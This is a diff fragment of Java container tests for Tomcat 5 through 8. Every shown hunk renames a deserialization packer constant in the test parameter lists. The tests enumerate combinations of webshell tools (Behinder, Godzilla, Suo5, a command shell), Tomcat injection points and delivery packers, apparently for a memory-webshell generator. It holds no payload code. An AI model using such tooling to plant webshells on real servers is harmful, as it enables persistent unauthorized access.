arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+16
-16
@@ -43,52 +43,52 @@ public class Tomcat5ContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
|
|||||||
+16
-16
@@ -43,37 +43,37 @@ public class Tomcat6ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+16
-16
@@ -43,37 +43,37 @@ public class Tomcat7ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+16
-16
@@ -44,52 +44,52 @@ public class Tomcat8ContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
